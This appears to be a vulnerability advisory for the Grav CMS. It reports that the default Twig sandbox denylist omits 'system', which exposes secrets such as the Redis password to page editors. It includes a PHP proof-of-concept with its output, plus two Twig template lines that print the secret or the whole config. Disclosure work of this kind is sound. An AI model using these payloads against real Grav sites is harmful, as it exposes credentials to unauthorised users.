## Summary

`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list
(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.
When an operator enables the documented, non-default `twig_content.config_access: true`
setting (intended to safely expose low-sensitivity values like `site.title` to
editor-authored Twig content), any real secret stored under `system.*` , for example
`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via
`config.toArray()`, to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,
but the shipped default denylist is incomplete.

## Environment used to verify

- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`
- PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full `composer install --no-dev` run against the real repository (no mocked
dependencies) so the actual `Grav\Common\Config\Config` and
`Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly

## Commands run to set up the verification environment

```bash
git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
```

## Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

```bash
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: text
```

`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of
`Config` or `SandboxConfig` themselves:

```php
<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());
```

Run:

```bash
php sandbox_test.php
```

Output:

```
plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)

)

)

[site] => Array
(
[title] => My Site
)

)
```

`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in
full both via targeted `get()` and via bulk `toArray()`.

## Confirming the Twig-reachable path is real

`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s
methods for use inside sandboxed page-content templates:

```yaml
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'
```

So, with `twig_content.process_enabled: true` and `twig_content.config_access: true`
both set (both documented, operator-controlled settings), a page containing:

```twig
{{ config.get('system.cache.redis.password') }}
```

or

```twig
{{ config.toArray() }}
```

renders the real Redis password directly into the page output for any user with
page-edit permission.

## Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented `config_access` opt-in (intended only to expose things like `site.title`),
exposes that Redis password , and potentially other future `system.*` secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.

## Suggested fix

Add `system` to the default `config_denied_paths` list in
`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under `system.*` doesn't silently bypass the sandbox by default.

## Affected component

- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value
- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its
input; the gap is in the default list passed to it)
```